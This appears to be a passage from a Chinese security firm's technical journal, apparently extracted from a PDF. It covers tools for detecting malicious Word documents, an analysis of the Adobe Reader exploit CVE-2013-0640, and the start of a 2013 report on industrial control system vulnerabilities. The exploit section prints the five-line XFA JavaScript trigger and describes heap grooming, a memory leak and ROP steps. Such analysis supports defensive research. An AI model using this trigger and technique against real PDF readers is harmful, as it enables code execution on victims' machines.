有 的 是 HTML 或 XML 格 式, 实 际 利 用 的 是 MSHTML 和 MSXML 解 析 存 在 的 漏 洞 五 漏 洞 检 测 工 具 除 杀 毒 软 件 以 外, 还 有 几 款 网 上 可 公 开 下 载 的 共 享 工 具, 能 够 帮 助 检 测 doc 文 件 是 否 是 恶 意 的 对 小 部 分 具 有 CVE 编 号 的 漏 洞 可 以 做 到 精 确 检 测, 即 使 无 法 精 确 检 测 也 能 够 提 示 文 件 是 否 可 疑 当 然, 61

前 沿 技 术 这 些 工 具 也 同 样 适 用 于 PowerPoint 和 Excel 文 件 的 检 测 5.1 Offvis Offvis 是 微 软 官 方 提 供 的 Office 文 件 分 析 工 具 [7], 不 仅 可 以 方 便 查 看 文 件 格 式, 还 会 在 格 式 错 误 的 地 方 标 识 红 色, 引 起 注 意 ( 见 图 7) 本 文 中 用 来 展 示 doc 文 件 格 式 的 图 片 都 是 Offvis 截 图 Offvis 也 带 有 一 些 检 测 逻 辑, 目 前 官 网 上 提 供 下 载 的 版 本 可 以 检 测 如 下 Word 文 件 漏 洞 :CVE-2006-2492 CVE-2006-4534 CVE-2006-5994 CVE-2006-6456 CVE-2007-0515 CVE- 2007-0870 和 CVE-2008-4841 Offvis 的 使 用 比 较 简 单, 只 要 打 开 doc 文 件, 在 Parser 下 拉 菜 单 中 选 择 WordBinary- Format DetectionLogic 选 项, 单 击 Parse 按 钮 就 可 以 了 对 于 有 些 文 件 如 果 直 接 解 析 有 问 题, 会 在 Parsing Notes 中 提 示 需 要 先 进 行 Defragment 操 作, 只 要 在 Tools 菜 单 中 选 择 Defragment, 然 后 再 单 击 Parse 即 可 不 过 需 要 注 意, 使 用 Defragment 功 能 会 对 文 件 格 式 进 行 重 组, 也 就 有 可 能 造 成 部 分 恶 意 数 据 变 形 或 丢 失, 影 响 分 析 的 结 果 5.2 OfficeMalScanner OfficeMalScanner 是 德 国 人 Frank Boldewin 开 发 的 一 套 检 测 Office 恶 意 文 件 的 工 具 [8] 这 套 工 具 功 能 很 多, 包 括 检 测 文 件 中 是 否 包 含 Shellcode dump 内 嵌 的 文 件 ( 如 OLE PE flash) 等 最 基 本 的 使 用 方 式 是 在 CMD 中 运 行 : C:\> officemalscan.exe < 待 检 测 文 件 > scan 执 行 结 果 中 包 含 一 些 文 件 基 本 信 息 和 扫 描 到 的 Shellcode 信 息 图 7 Offvis 主 界 面 ( 见 图 8) 如 果 发 现 内 嵌 文 件, 则 dump 到 本 地 并 给 出 文 件 名 称 信 息 分 析 结 束 会 有 一 行 结 论, 说 明 是 否 为 恶 意 文 件 虽 然 OfficeMalScanner 并 不 包 括 已 知 漏 洞 的 特 征 检 测, 但 是 实 际 上 它 通 过 Shellcode 检 测 等 方 式 更 容 易 发 现 利 用 0day 漏 洞 的 恶 意 文 件 5.3 OfficeCat OfficeCat 是 Snort 上 的 一 个 项 目 [9], 当 前 版 本 可 以 检 测 2006 至 2008 年 间 的 一 些 漏 洞,CVE 列 表 见 [10] 但 在 个 人 使 用 中 感 觉 漏 报 率 和 误 报 率 都 比 较 高, 虽 然 结 果 可 能 不 够 精 确, 但 可 以 起 到 警 示 作 用 OfficeCat 使 用 简 单, 在 CMD 下 执 行 officecat.exe 加 待 检 测 文 件 名 即 可 如 果 检 测 出 漏 洞, 就 会 打 印 相 应 CVE 编 号 ( 见 图 9) 62

前 沿 技 术 图 8 OfficeMalScanner 运 行 界 面 aa189871%28v=office.10%29.aspx [6] Behavior of ActiveX controls embedded in Office documents [2] MOAUB#11 Microsoft Office Word sprmcmajority buffer overflow http://www.exploit-db.com/moaub11-microsoft-office-wordsprmcmajority-buffer-overflow/ [3] Word 畸 形 数 据 结 构 溢 出 漏 洞 分 析 与 利 用 http://www.hacker.com.cn/show-10-272-1.html [4] Fuzzing in Word 溢 出 分 析 和 利 用 http://www.searchsecurity.com.cn/showcontent_2558.htm [5] Understanding Scriptlets and Behaviors h t t p: / / m s d n. m i c r o s o f t. c o m / e n - u s / l i b r a r y / o f f i c e / http://blogs.technet.com/b/srd/archive/2009/03/03/behaviorof-activex-controls-embedded-in-office-documents.aspx [7] Offivis 下 载 链 接 ht tp://download.techworld.com/ 321403 4/microsof t- offvis-11/9930/ [8] OfficeMalScanner 下 载 链 接 图 9 OfficeCat 运 行 界 面 http://www.reconstructer.org/code/officemalscanner.zip 参 考 文 献 [1] Microsoft Office File Format Documents h t t p : / / m s d n. m i c r o s o f t. c o m / e n - u s / l i b r a r y / cc313105%28v=office.12%29.aspx [9] OfficeCat 下 载 链 接 http://www.snort.org/downloads/461 [10] OfficeCat 检 测 CVE 列 表 http://www.snort.org/vrt/vrt-resources/officecat 63

前 沿 技 术 PDF 0day CVE-2013-0640 分 析 安 全 研 究 部 刘 业 欣 曲 富 平 关 键 字 : PDF 0day exploit 漏 洞 利 用 摘 要 : 本 文 对 著 名 的 PDF 0day CVE-2013-0640 的 原 理 和 利 用 进 行 了 详 细 的 分 析 引 言 分 析 若 干 年 前,PDF 可 以 算 是 Adobe 产 品 的 重 灾 区, 隔 三 差 五 就 会 爆 出 个 漏 洞, 这 主 要 是 因 为 Adobe 在 软 件 开 发 时 对 安 全 不 够 重 视 而 导 致 的 由 于 代 码 量 巨 大,Adobe 很 难 在 产 品 中 全 面 迅 速 地 推 进 SDL, 不 过 在 多 个 0day 爆 发 后,Adobe 终 于 顶 不 住 客 户 的 压 力 而 使 出 了 杀 手 锏 与 微 软 合 作, 在 Acrobat Reader 上 加 上 了 沙 盒, PDF 0day 终 于 消 停 了 将 近 2 年 的 时 间 里, 虽 然 9.x 的 Acrobat Reader 还 是 受 一 些 0day 的 困 扰, 但 10.x 及 之 上 的 版 本 都 相 安 无 事 终 于 到 2013 年 2 月,Acrobat Reader 的 不 破 金 身 结 束 了, 在 一 系 列 可 以 媲 美 duqu 的 高 级 攻 击 中,FireEye 发 现 了 CVE-2013-0640 和 CVE-2013-0641 CVE-2013-0640 用 于 完 成 在 受 限 进 程 中 实 现 任 意 代 码 执 行, 而 CVE-2013-0641 则 完 成 绕 过 沙 盒 执 行 高 权 限 代 码 的 任 务 由 于 篇 幅 所 限, 本 文 只 对 第 一 个 漏 洞 CVE-2013-0640 进 行 一 原 理 CVE-2013-0640 可 以 通 过 下 列 5 行 JS 脚 本 来 触 发 ( 还 需 要 特 定 的 XFA 模 板 ): 具 体 代 码 执 行 过 程 如 图 1 所 示 function exploit_it(node) { xfa.resolvenode("xfa.form.form1.#pageset.page1.#subform. field0.#ui").oneofchild = node; } node1 = xfa.resolvenode("xfa.form.form1.#pageset.page1.#subform.field0.#ui"); node2 = xfa.resolvenode("xfa.form.form1.#pageset.page1.#subform. field0.#ui.#choicelist"); xfa.resolvenode("xfa.form.form1.#subform.rect1").keep.previous = "contentarea"; timeout = app.settimeout("exploit_it(node2);",500); 1. 首 先 执 行 的 是 第 二 行 代 码, 创 建 了 node1 node1 是 一 个 XFA UI 对 象, 其 对 象 的 引 用 计 数 是 2 2. 接 下 来 执 行 第 三 行 代 码, 创 建 了 node2 node2 是 一 个 XFA 64

前 沿 技 术 GenericNode 对 象, 其 父 节 点 指 针 指 向 node1, 此 时 node1 和 node2 对 象 的 引 用 计 数 都 是 3 3. 第 四 行 代 码 是 触 发 该 漏 洞 的 关 键 代 码, 通 过 给 一 个 XFA 节 点 的 keep.previous 属 性 赋 值, 让 XFA 引 擎 重 新 布 局, 释 放 所 有 XFA 对 象 4. 第 五 行 代 码 利 用 app.settimeout 函 数 让 XFA 对 象 真 正 释 放 此 时 由 于 XFA 的 某 些 对 象 被 JS 脚 本 引 用, 如 node1 和 node2, 因 此 node1 和 node2 对 象 不 会 真 正 释 放, 只 是 引 用 计 数 分 别 变 为 了 1 和 2 但 node1 和 node2 对 象 中 的 XFA Module 对 象 已 经 释 放, 其 指 针 变 成 了 空 指 针, 这 为 后 面 的 漏 洞 触 发 创 造 了 条 件 5. 第 一 行 代 码 最 后 被 执 行, 也 是 漏 洞 触 发 的 语 句 此 语 句 又 创 建 了 一 个 新 的 XFA UI 对 象 node_ui, 这 个 node_ui 是 正 常 的 对 象 oneofchild 属 性 处 理 函 数 会 检 查 node_ui 的 子 节 点 中 是 否 包 含 node 对 象, 如 果 不 包 含, 则 检 查 node 的 父 节 点 指 针 是 否 空, 不 为 空 就 要 释 放 node 原 有 的 父 节 点 对 象, 因 为 有 新 的 父 节 点 对 象 会 被 赋 值 此 时 的 node 就 是 上 面 的 node2 节 点,node2 父 节 点 的 对 象 不 为 空, 指 向 上 面 的 node1 当 释 放 node1 时, 在 获 取 node1 节 点 环 节 出 了 问 题, 由 于 node1 的 XFA Module 对 象 指 针 为 空, 获 取 函 数 返 回 的 不 是 node1, 而 是 一 个 新 创 建 的 XFA 对 象 此 对 象 是 一 个 最 基 本 的 XFA Node 对 象, 大 小 只 有 0x40, 而 真 正 的 node1 对 象 是 XFA UI 对 象, 大 小 是 0x58 接 下 来, 程 序 依 然 把 新 创 建 的 对 象 当 成 XFA UI 对 象, 访 问 了 XFA UI 对 象 的 next 指 针, 偏 移 是 0x44 如 果 此 指 针 不 为 空 就 会 调 用 其 析 构 函 数 这 样 就 造 成 了 对 象 的 访 问 图 1 漏 洞 触 发 的 过 程 65

前 沿 技 术 越 界, 通 过 特 定 的 堆 控 制 方 法, 就 可 以 控 制 0x44 偏 移 的 数 据, 得 到 执 行 代 码 的 机 会 二 利 用 利 用 概 述 大 型 软 件 一 般 都 有 自 己 的 堆 管 理 算 法, 从 而 对 固 定 大 小 的 块 进 行 快 速 有 效 的 分 配 和 释 放 其 核 心 思 想 就 是 在 大 块 中 分 配 固 定 的 小 块, 如 果 小 块 的 内 存 释 放, 只 是 标 记 释 放, 下 次 再 分 配 同 样 大 小 的 内 存, 则 直 接 返 回 上 次 的 地 址 漏 洞 的 本 质 是 返 回 了 一 个 小 尺 寸 的 object(0x40), 但 是 却 把 它 作 为 大 尺 寸 object(0x4c) 来 进 行 操 作 当 访 问 0x40-0x4c 之 间 的 偏 移, 就 会 引 发 一 系 列 的 问 题 这 个 0x4c 尺 寸 的 object, 结 构 如 下 : 先 申 请 大 块 内 存 : 经 过 多 个 小 块 的 分 配 和 大 块 内 存 的 释 放, 内 存 最 终 变 成 : 如 果 XXXXXXXX 可 控, 则 每 次 对 ref_count 字 段 减 2( 调 用 两 次 ), 如 果 ref_count 为 0, 则 调 用 XXXXXXXX 所 在 的 虚 表 地 址 接 下 来 需 要 解 决 一 系 列 的 问 题 : a. 如 何 控 制 XXXXXXXX 的 值 b. 如 何 进 行 内 存 泄 露 获 得 虚 表 指 针 c.rop 做 些 什 么 控 制 XXXXXXXX 的 值 要 控 制 XXXXXXXX, 需 要 借 助 Acrobat Reader 的 堆 管 理 机 制 从 而 控 制 了 0x40 之 后 的 内 容, 具 体 的 代 码 片 段 如 图 2 所 示 片 段 中 的 AllocateContentArea 即 为 FreeList 的 占 用, defective 数 组 里 的 thunk 即 为 大 块 内 存 的 占 用 注 意 由 于 66

前 沿 技 术 图 2 控 制 了 0x40 之 后 的 内 容, 具 体 的 代 码 片 段 defective 为 临 时 变 量, 因 此 在 AlocateDefectiveNodes 返 回 时, defective 数 组 所 引 用 的 大 块 内 存 被 隐 式 释 放, 具 体 的 DEMO 参 见 古 河 在 PEDIY 论 坛 里 提 供 的 crash.pdf 样 本 (EIP 将 跳 转 到 0x88888888) 通 过 内 存 泄 露 获 得 虚 表 指 针 先 来 看 看 0x7ffe0ff0 这 个 地 址, 这 个 地 址 在 所 有 的 Windows 操 作 系 统 下 值 都 为 0, 其 实 在 前 面 的 Crash.pdf 中,+0x48 可 以 初 始 化 为 0, 但 是 在 真 正 的 漏 洞 利 用 代 码 里, 使 用 的 却 是 0x7ffe0ff0, 原 因 是 : 1.Heap spray 不 好 控 制 2. 构 造 的 默 认 地 址 在 后 面 发 生 溢 出 进 行 信 息 泄 露 时 会 频 繁 地 遭 遇 0 结 尾 的 内 容, 导 致 读 取 困 难 而 使 用 0x7ffe0ff0 地 址 技 能 巧 妙 地 绕 过 检 查, 也 能 让 程 序 流 程 继 续 走 下 去 先 申 请 多 个 内 容 为 0x7ffe0ff0 的 数 据 块, 并 保 证 占 据 0x11871710 : 0:010> dd 11871710 11871710 7ffe0ff0 7ffe0ff0 7ffe0ff0 7ffe0ff0 11871720 7ffe0ff0 7ffe0ff0 7ffe0ff0 7ffe0ff0 接 着 触 发 漏 洞 Trigger( 0x11871710) : 11871710 7ffe0ff0 7ffe0fee 7ffe0ff0 7ffe0ff0 67

前沿技术 11871720 7ffe0ff0 7ffe0ff0 7ffe0ff0 7ffe0ff0 可以看到 11871714 字节已经被修改为了 ee 接下来确定 i 的值和 0xee 在 gblocks[i] 中的偏移 并从而推测 出 gblocks[i-1] 的起始地址 此时 gblocks[i-1] 开头的 XXXXXXXX 后的 0 字节结尾已经 被修改 减去了 2 68

前沿技术 此后再释放两个插入的 XXXXXXXX 字符串 并插入 assist 对 但问题又出现了 在 0x1185a530 的地址上出现了个 0 导致读 取停止 可以继续触发漏洞把这个 0 消灭 象 其虚表地址就近在眼前了 继续往后读 又发现 0xfa 字节是无法读出来的 解决的方法是 69

前 沿 技 术 反 复 触 发 漏 洞, 直 到 能 够 读 出 这 个 字 节, 再 加 上 触 发 的 次 数 *2, 就 能 推 算 出 原 来 的 值 ROP 释 放 gblocks[bi-3], 前 后 为 占 用 的 gblocks[bi-4] 和 gblocks[bi-2], 并 在 其 中 构 造 以 下 字 符 串 : 参 考 文 献 http://bbs.pediy.com/showthread.php?t=156124 Adobe_Readers_Custom_Memory_Management_a_Heap_of_Trouble.pdf https://blogs.mcafee.com/mcafee-labs/analyzing-the-first-rop-only-sandboxescaping-pdf-exploit http://partners.adobe.com/public/developer/xml/index_arch.html 70

工 控 报 告 工 业 控 制 系 统 的 安 全 研 究 与 实 践 战 略 研 究 部 李 鸿 培 忽 朝 俭 行 业 技 术 部 王 晓 鹏 关 键 字 : 工 业 控 制 系 统 漏 洞 威 胁 建 议 摘 要 : 目 前 工 业 控 制 系 统 安 全 已 成 为 工 业 控 制 系 统 及 信 息 安 全 相 关 的 行 业 研 究 机 构 产 品 及 服 务 厂 商 所 关 注 的 热 点, 并 受 到 国 家 层 面 的 极 大 重 视 在 此 背 景 下, 本 文 首 先 基 于 对 2013 年 工 业 控 制 系 统 新 增 公 开 漏 洞 的 变 化 趋 势 统 计 特 征 及 其 所 面 临 的 安 全 威 胁 与 APT 攻 击 技 术 的 深 入 分 析, 探 讨 针 对 工 业 控 制 系 统 脆 弱 性 及 攻 击 威 胁 的 检 测 及 防 护 方 法 接 着, 结 合 项 目 实 践 重 点 讨 论 了 电 力 市 政 行 业 的 工 业 控 制 系 统 安 全 及 相 应 的 虚 拟 攻 击 场 景 最 后, 对 工 业 控 制 系 统 安 全 的 行 业 发 展 以 及 相 关 技 术 产 品 的 发 展 趋 势 进 行 了 初 步 的 探 讨 一 引 言 业 控 制 系 统 的 重 要 性 脆 弱 的 安 全 状 况 [1] 以 及 日 益 严 重 的 攻 工 击 威 胁, 已 引 起 世 界 各 国 的 高 度 重 视, 并 在 政 策 标 准 技 术 方 案 等 方 面 展 开 了 积 极 应 对 [2] 进 入 2013 年 以 来 工 业 控 制 系 统 安 全 更 成 为 备 受 工 业 和 信 息 安 全 领 域 研 究 机 构 关 注 的 研 究 热 点 [3] [4] [5] 因 为 历 史 上 相 对 封 闭 的 使 用 环 境, 工 业 控 制 系 统 在 开 发 时 多 重 视 系 统 的 功 能 实 现, 对 安 全 的 关 注 相 对 缺 乏, 不 像 传 统 IT 信 息 系 统 软 件 在 开 发 时 拥 有 严 格 的 安 全 软 件 开 发 规 范 及 安 全 测 试 流 程, 这 必 然 造 成 工 业 控 制 系 统 不 可 避 免 地 拥 有 较 多 的 安 全 缺 陷 美 国 国 土 安 全 部 (The U.S. Department of Homeland Security, DHS) 的 控 制 系 统 安 全 计 划 (Control System Security Program, CSSP) 及 工 业 控 制 系 统 应 急 响 应 小 组 (ICS-CERT) 的 针 对 工 业 控 制 系 统 软 件 的 测 评 结 果 也 验 证 了 这 种 推 测 [1] : 工 业 控 制 系 统 软 件 的 安 全 脆 弱 性 问 题 主 要 涉 及 错 误 输 入 密 码 管 理 越 权 访 问 不 适 当 的 认 证 系 统 配 置 等 方 面, 尤 其 是 错 误 输 入 验 证 方 面 的 脆 弱 性 在 2009-2010 年 度 参 与 测 评 的 工 业 控 制 系 统 软 件 中 占 到 45%, 这 可 能 会 轻 易 地 通 过 输 入 不 正 确 的 参 数 造 成 系 统 故 障 就 目 前 统 计 的 工 业 控 制 系 统 相 关 的 漏 洞 情 况 来 看, 仅 CVE 漏 洞 库 中 统 计 的 工 业 控 制 系 统 公 开 漏 洞 就 达 到 了 数 百 之 多 [6] 因 此, 针 对 工 业 控 制 系 统 软 件 自 身 的 安 全 性 评 测 分 析 及 脆 弱 性 评 估 将 是 当 前 首 要 考 虑 的 问 题 之 一 71

工 控 报 告 2013 年 国 内 已 做 了 大 量 关 于 工 业 控 制 系 统 安 全 的 工 作 : 工 业 控 制 系 统 相 关 的 安 全 标 准 正 在 制 订 过 程 中, 电 力 石 化 制 造 烟 草 等 多 个 行 业, 已 在 国 家 主 管 部 门 的 指 导 下 进 行 安 全 检 查 整 改 [11] [12][13] 在 此 背 景 下, 我 们 从 2012 年 开 始 也 在 积 极 地 开 展 工 业 控 制 系 统 安 全 相 关 的 技 术 研 究 及 外 部 合 作 工 作, 在 启 动 安 全 产 品 的 开 发 发 布 工 业 控 制 系 统 安 全 研 究 报 告 [2] 的 同 时, 积 极 寻 求 与 行 业 用 户 图 1 ICS-CERT 关 于 工 控 安 全 事 件 的 统 计 分 析 根 据 ICS-CERT 的 统 计 分 析 可 知, 近 年 来 工 业 控 制 系 统 相 关 的 安 全 事 件 正 在 呈 快 速 增 长 的 趋 势 ( 图 1 的 a 图 ), 而 且 仅 2013 年 上 半 年 监 测 到 的 安 全 事 件 数 就 达 到 了 200 多 件 ( 按 财 年 [ 这 里 的 财 年 计 算 方 法 是 从 上 一 年 的 10 月 开 始 至 下 一 年 的 9 月 结 束 ] 统 计 ), 这 已 经 超 过 了 2012 年 全 年 的 安 全 事 件 数 这 些 安 全 事 件 主 要 集 中 在 能 源 关 键 制 造 业 交 通 通 信 水 利 核 能 等 领 域 ( 图 1 的 b 图 ), 其 中 能 源 行 业 的 安 全 事 件 则 超 过 了 一 半 近 年 来 国 内 电 力 高 铁 市 政 石 化 行 业 也 出 现 了 一 些 因 病 毒 入 侵 所 造 成 的 一 些 安 全 事 件, 并 造 成 了 一 定 经 济 损 失, 引 起 了 主 管 部 门 及 用 户 的 极 大 重 视 不 管 攻 击 者 的 目 的 是 出 于 经 济 的 目 的 ( 比 如 南 美 某 国 电 网 被 攻 击 者 敲 诈 勒 索 [7]) 意 识 形 态 的 纷 争 [8]( 比 如 燕 子 行 动 [9]) 甚 至 是 国 家 间 网 络 战 对 抗 [10] 的 需 要, 我 们 都 必 须 深 入 研 究 工 业 控 制 系 统 的 安 全 性 及 其 可 能 遭 受 到 的 各 种 威 胁, 加 强 行 业 用 户 的 安 全 意 识 培 训, 进 行 工 业 控 制 系 统 的 安 全 状 况 调 查 及 系 统 脆 弱 性 评 估 与 整 改, 并 在 此 基 础 上 提 供 切 实 有 效 的 安 全 防 护 措 施, 以 确 保 这 些 关 系 国 计 民 生 的 工 业 控 制 系 统 的 安 全 运 营 工 业 控 制 系 统 厂 商 信 息 安 全 厂 商 行 业 主 管 部 门 研 究 机 构 等 进 行 多 方 位 的 战 略 合 作 的 机 会 本 文 期 望 在 前 期 研 究 工 作 [2] 的 基 础 上, 首 先 基 于 对 2013 年 工 业 控 制 系 统 新 增 公 开 漏 洞 的 变 化 趋 势 统 计 特 征 及 其 所 面 临 的 安 全 威 胁 及 APT 攻 击 技 术 的 深 入 分 析, 探 讨 针 对 工 业 控 制 系 统 脆 弱 性 及 攻 击 威 胁 的 检 测 及 防 护 方 法 接 着, 结 合 项 目 实 践 重 点 讨 论 了 电 力 市 政 行 业 工 业 控 制 系 统 的 安 全 性 及 相 应 的 虚 拟 攻 击 场 景 最 后, 则 是 对 工 业 控 制 系 统 安 全 行 业 以 及 技 术 与 产 品 的 发 展 趋 势 进 行 了 初 步 的 探 讨 二 工 业 控 制 系 统 的 脆 弱 性 分 析 绿 盟 科 技 在 2012 年 的 威 胁 态 势 报 告 中 讨 论 IT 行 业 的 漏 洞 发 展 趋 势 时 认 为 [14] : 伊 朗 核 电 站 的 震 网 病 毒 事 件 之 后, 信 息 网 络 及 系 统 相 关 的 高 风 险 安 全 漏 洞 正 在 逐 渐 被 雪 藏 而 造 成 这 种 现 象 的 最 大 可 能 是 : 大 量 高 风 险 未 公 开 漏 洞 通 过 地 下 经 济 被 出 卖, 或 被 某 些 国 家 / 组 织 高 价 收 购, 目 的 是 利 用 其 开 发 0-day 攻 击 或 高 级 持 久 威 胁 (Advanced Persistent Threat, 简 称 APT) 的 攻 击 技 术 [15], 为 未 来 可 能 的 网 络 对 抗 做 准 备 因 此, 利 用 0-day 漏 洞 72

工 控 报 告 的 新 型 攻 击 正 成 为 网 络 空 间 安 全 防 护 的 新 挑 战 而 涉 及 国 计 民 生 的 电 力 交 通 市 政 化 工 关 键 制 造 业 等 行 业 的 工 业 控 制 系 统 在 工 业 化 与 信 息 化 日 益 融 合 的 今 天, 将 极 可 能 成 为 未 来 网 络 战 的 重 要 攻 击 目 标 本 章 将 从 工 业 控 制 系 统 公 开 安 全 漏 洞 的 统 计 分 析 入 手, 讨 论 工 业 控 制 系 统 的 脆 弱 性 及 其 检 测 防 护 方 法 2.1 工 业 控 制 系 统 的 公 开 漏 洞 分 析 以 绿 盟 科 技 安 全 漏 洞 库 收 录 的 工 业 控 制 系 统 相 关 漏 洞 信 息 为 基 础, 结 合 CVE[6] ICS-CERT 以 及 中 国 国 家 信 息 安 全 漏 洞 共 享 平 台 所 发 布 的 漏 洞 信 息 [16], 共 整 理 出 了 386 个 与 工 业 控 制 系 统 相 关 的 漏 洞 ( 截 至 到 2013 年 12 月 ) 由 于 2013 年 之 前 工 业 控 制 系 统 公 开 漏 洞 的 统 计 特 征 已 在 2013 年 的 工 业 控 制 系 统 安 全 研 究 报 告 中 进 行 了 详 细 的 讨 论 [2], 因 此 本 章 将 重 点 分 析 2013 年 新 增 漏 洞 的 统 计 特 征 和 变 化 趋 势, 主 要 涉 及 公 开 漏 洞 的 总 体 变 化 趋 势 漏 洞 的 严 重 程 度 主 要 工 业 控 制 系 统 厂 商 分 布 情 况 等 2.2.1 公 开 漏 洞 数 的 变 化 趋 势 分 析 由 图 2 中 可 知 : 在 2011 年 之 前, 公 开 披 露 的 工 业 控 制 系 统 相 关 漏 洞 数 量 相 当 少, 但 在 2011 年 出 现 快 速 增 长, 并 持 续 到 2012 年 这 可 能 是 因 为 2010 年 的 Stuxnet 蠕 虫 事 件 之 后, 人 们 对 工 业 控 制 系 统 安 全 问 题 极 度 关 注 以 及 工 业 控 制 系 统 厂 商 分 析 解 决 历 史 遗 留 的 安 全 问 题 所 造 成 的 井 喷 现 象 而 2013 年 的 新 增 漏 洞 数 又 有 所 下 降, 则 可 能 有 多 方 面 的 原 因 : (1) 由 于 工 业 控 制 系 统 多 为 行 业 相 关 的 专 有 系 统, 普 通 的 漏 洞 分 图 2 公 开 的 ICS 漏 洞 的 年 度 变 化 趋 势 析 人 员 因 难 以 接 触 到 这 些 系 统, 且 缺 乏 相 关 行 业 知 识, 很 少 进 行 相 应 的 漏 洞 分 析 与 研 究 工 作 (2) 工 业 控 制 系 统 的 主 力 厂 商 ( 比 如 西 门 子 施 奈 德 罗 克 韦 尔 通 用 电 气 等 ), 对 其 工 业 控 制 系 统 产 品 的 脆 弱 性 进 行 针 对 性 分 析 挖 掘 一 段 时 间 后, 在 其 产 品 中 发 现 新 漏 洞 的 难 度 大 大 提 高, 发 现 的 公 开 漏 洞 数 量 也 将 逐 渐 出 现 减 少 的 趋 势 ( 图 3) 所 示 其 中 西 门 子 则 可 能 因 当 年 Stuxnet 蠕 虫 事 件 使 其 更 为 关 注 其 工 业 控 制 系 统 产 品 的 安 全 性 问 题, 在 2013 年 与 其 相 关 的 工 业 控 制 系 统 公 开 漏 洞 依 然 处 于 较 快 增 长 的 势 头 (3) 部 分 工 业 控 制 系 统 厂 商 因 市 场 影 响 力 不 足, 不 再 作 为 漏 洞 挖 掘 分 析 人 员 的 分 析 目 标 (4) 同 时 部 分 涉 及 关 键 行 业 系 统 的 脆 弱 性 ( 漏 洞 ) 信 息 被 限 制 公 开 以 及 受 地 下 交 易 的 影 响, 可 能 有 许 多 新 发 现 的 系 统 漏 洞 被 雪 藏 了, 73

工 控 报 告 而 没 有 公 开 发 布 出 来 图 4 公 开 漏 洞 所 涉 及 到 的 主 要 工 业 控 制 系 统 厂 商 (Top10) 图 3 主 要 工 业 控 制 系 统 厂 商 相 关 的 公 开 漏 洞 的 趋 势 2.1.2 公 开 漏 洞 所 涉 及 工 业 控 制 系 统 厂 商 的 情 况 分 析 图 4 图 5 给 出 了 公 开 漏 洞 所 涉 及 的 主 要 工 业 控 制 系 统 厂 商 及 其 系 统 中 所 发 现 的 漏 洞 数 及 所 占 比 例 分 析 结 果 表 明 : 公 开 漏 洞 所 涉 及 的 厂 商 主 要 是 国 际 著 名 的 工 业 控 制 系 统 厂 商, 但 国 内 也 有 两 家 工 业 控 制 系 统 厂 商 进 入 到 了 前 十 的 行 列 其 中, 北 京 亚 控 科 技 发 展 有 限 公 司 ( 亚 控 科 技,WellinTech) 涉 及 17 个 漏 洞, 其 中 被 CVE 收 录 14 个 ; 北 京 三 维 力 控 科 技 有 限 公 司 ( 力 控 科 技,Sunway) 有 11 个 相 关 漏 洞, 其 中 被 CVE 收 录 2 个 虽 然 图 4 5 中 反 映 的 是 这 些 公 司 产 品 的 脆 弱 性 问 题, 但 分 析 结 果 也 很 可 能 与 这 些 公 司 产 品 的 市 场 排 名 有 较 大 的 联 系 图 5 公 开 漏 洞 所 及 到 的 主 要 工 业 控 制 系 统 厂 商 (Top10) 由 图 6 可 知, 自 2011 年 以 来, 新 增 公 开 漏 洞 所 涉 及 到 的 工 业 控 制 系 统 厂 商 数 呈 逐 步 减 少 的 趋 势, 而 且 在 2013 年 减 少 明 显, 仅 涉 及 12 家 工 业 控 制 系 统 厂 商 2013 年 的 新 增 漏 洞 则 主 要 集 中 在 西 门 子 (Siemens) 施 奈 德 (Schneider) 通 用 电 气 (GE) 爱 默 生 (Emerson) 等 国 际 著 名 厂 商 的 系 统 中 ( 见 图 7 图 8) 其 中, 西 门 子 以 年 度 新 增 37 个 公 开 漏 洞 (47.4%) 居 于 首 位, 施 奈 德 也 以 年 度 新 增 12 个 公 开 漏 洞 (15.4%) 占 据 第 二 的 位 置 74

工 控 报 告 通 过 对 比 图 7 与 图 4 可 以 发 现 :2013 年 度 西 门 子 (Siemens) 施 奈 德 (Schneider) 通 用 电 气 (GE) 等 公 司 的 新 增 漏 洞 占 比 情 况 增 幅 明 显 这 说 明 公 开 漏 洞 所 涉 及 厂 商 的 范 围 越 来 越 集 中 新 增 漏 洞 相 关 厂 商 数 明 显 减 少 且 多 集 中 到 几 大 著 名 国 际 大 公 司 的 主 要 原 因 可 能 是 : (1) 著 名 公 司 产 品 市 场 份 额 大, 受 到 攻 击 后 影 响 力 大, 更 易 引 起 攻 击 者 用 户 监 管 者 等 各 方 面 的 重 视, 漏 洞 挖 掘 及 分 析 者 投 入 分 图 6 公 开 漏 洞 涉 及 到 的 工 业 控 制 系 统 厂 商 的 数 目 变 化 趋 势 析 的 动 力 较 大 (2) 企 业 并 购 造 成 被 关 注 的 工 业 控 制 系 统 厂 商 减 少, 例 如 施 奈 德 并 购 7-Technologies CitectScada 等 多 家 工 业 控 制 系 统 厂 商 (3) 西 门 子 等 优 势 厂 商 也 在 积 极 完 善 自 己 的 产 品, 加 强 了 对 产 品 脆 弱 性 的 分 析 研 究 (4) 还 可 能 因 安 全 事 件 受 控, 一 些 重 要 行 业 系 统 供 应 商 的 漏 洞 信 息 被 屏 蔽 掉 了 2.1.3 2013 年 新 增 漏 洞 严 重 程 度 分 析 因 本 文 涉 及 的 公 开 漏 洞 基 本 上 都 被 CVE 收 录, 所 以 在 讨 论 这 些 图 7 2013 年 新 增 工 业 控 制 系 统 漏 洞 所 涉 及 到 的 主 要 厂 商 漏 洞 的 严 重 性 时, 将 主 要 根 据 CVE 的 CVSS 评 估 值 来 判 断, 并 划 分 为 高 中 低 三 种 情 况 根 据 图 9 的 统 计 分 析,2013 年 的 新 增 漏 图 8 2013 年 主 要 工 业 控 制 系 统 厂 商 的 新 增 漏 洞 数 图 9 2013 年 收 录 的 新 增 漏 洞 按 严 重 程 度 的 分 类 情 况 75

